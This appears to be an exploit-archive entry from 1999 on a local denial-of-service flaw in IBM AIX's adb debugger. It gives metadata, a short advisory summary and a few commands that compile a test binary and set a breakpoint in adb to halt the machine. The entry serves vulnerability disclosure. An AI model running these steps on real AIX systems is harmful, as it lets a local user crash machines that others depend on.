IBM AIX 4.3.1 - 'adb' Denial of Service

Author: GZ Apple
type: dos
platform: aix
port: nan
date_added: 1999-07-12 
date_updated: 2017-11-15 
verified: 1 
codes: OSVDB-83455 
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source: https://www.securityfocus.com/bid/520/info

adb is the debugger that ships with IBM's AIX operating system. It is possible for a local user to cause a local denial of service through exploiting the version of adb shipped with AIX 4.2 through 4.3.1. The consequence of adb being exploited is the machine being halted by a malicious local user.


gcc -g -o a.out hello-world.c
$ adb a.out -
adb
.main,5:s
a.out: running